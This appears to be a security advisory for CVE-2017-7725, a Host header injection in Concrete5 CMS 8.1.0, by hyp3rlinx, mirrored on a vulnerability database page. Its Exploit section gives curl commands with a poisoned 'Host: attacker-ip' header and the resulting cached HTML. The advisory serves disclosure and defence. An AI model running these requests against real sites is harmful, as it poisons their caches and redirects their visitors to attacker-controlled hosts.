Concrete5 CMS 8.1.0 - 'Host' Header Injection

🗓️ 14 Apr 2017 00:00:00Reported by hyp3rlinxType

Concrete5 CMS 8.1.0 'Host' Header Injection, Remote attackers can write to MySQL Database by making HTTP GET request with poisoned HOST header, potentially causing arbitrary link redirects

Reporter	Title	Published	Views	Family All 14
0day.today	Concrete5 8.1.0 - Host Header Injection Vulnerability	14 Apr 201700:00	–	zdt
Circl	CVE-2017-7725	14 Apr 201700:00	–	circl
CNVD	concrete5 Host Header Injection Vulnerability	18 Apr 201700:00	–	cnvd
CVE	CVE-2017-7725	13 Apr 201717:00	–	cve
Cvelist	CVE-2017-7725	13 Apr 201717:00	–	cvelist
EUVD	EUVD-2022-2017	3 Oct 202520:07	–	euvd
exploitpack	Concrete5 CMS 8.1.0 - Host Header Injection	14 Apr 201700:00	–	exploitpack
Github Security Blog	Concrete CMS vulnerable to cross-site scripting (XSS)	13 May 202201:08	–	github
NVD	CVE-2017-7725	13 Apr 201717:59	–	nvd
OpenVAS	Concrete5 8.x Header Injection and CSRF Vulnerability	19 Apr 201700:00	–	openvas

[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/CONCRETE5-v8.1.0-HOST-HEADER-INJECTION.txt
[+] ISR: ApparitionSec            
 


Vendor:
==================
www.concrete5.org



Product:
================
concrete5 v8.1.0

concrete5 is an open-source content management system (CMS) for publishing content on the World Wide Web and intranets.


Vulnerability Type:
======================
Host Header Injection



CVE Reference:
==============
CVE-2017-7725



Security Issue:
================
If a user does not specify a "canonical" URL on installation of concrete5, unauthenticated remote attackers can write to the
"collectionversionblocksoutputcache" table of the MySQL Database, by making HTTP GET request with a poisoned HOST header.
Some affected concrete5 webpages can then potentially render arbitrary links that can point to a malicious website.  

Example MySQL data from "CollectionVersionBlocksOutputCache" table.

(164, 1, 57, 'Header Site Title', '<a href="http://attacker-ip/concrete5-8.1.0/index.php" id="header-site-title">Elemental</a>', 1649861489


e.g.

c:\> curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" | more


<!DOCTYPE html>
<html lang="en">
<head>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <link rel="stylesheet" type="text/css" href="/concrete5-8.1.0/concrete/themes/elemental/css/bootstrap-modified.css">
    <link href="/concrete5-8.1.0/application/files/cache/css/elemental/main.css?ts=1492101910" rel="stylesheet" type="text/css" media="all">
<title>Services :: POC</title>

<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="generator" content="concrete5 - 8.1.0"/>
<script type="text/javascript">
    var CCM_DISPATCHER_FILENAME = "/concrete5-8.1.0/index.php";
    var CCM_CID = 162;
    var CCM_EDIT_MODE = false;
    var CCM_ARRANGE_MODE = false;
    var CCM_IMAGE_PATH = "/concrete5-8.1.0/concrete/images";
    var CCM_TOOLS_PATH = "/concrete5-8.1.0/index.php/tools/required";
    var CCM_APPLICATION_URL = "http://attacker-ip/concrete5-8.1.0";       <=================== HERE
    var CCM_REL = "/concrete5-8.1.0";
</script>



Exploit:
=========

curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/team/faq -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio -H "Host: attacker-ip"

Navigate to one of these URLs:

http://VICTIM-IP/concrete5-8.1.0/index.php/services
http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio

Click on links in header portion of the webpage from one of the above URLs.

Services
Portfolio
Team / Drop down Menu
Blog
Contact

OR 

click on the links on footer portion of the webpage.

FAQ / Help 
Case Studies
Blog
Another Link
View on Google Maps


Result: user gets redirected to attacker-ip.



Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
======================================================
Vendor Notification :  April 11, 2017 
Vendor reply: "this is a known issue" : April 12, 2017 
Requested a CVE from mitre. 
CVE assigned : April 12, 2017
April 13, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

14 Apr 2017 00:00Current

6.3Medium risk

Vulners AI Score6.3

CVSS 24.3

CVSS 3.16.1

EPSS0.0362

Concrete5 CMS 8.1.0 - &#039;Host&#039; Header Injection

Concrete5 CMS 8.1.0 - 'Host' Header Injection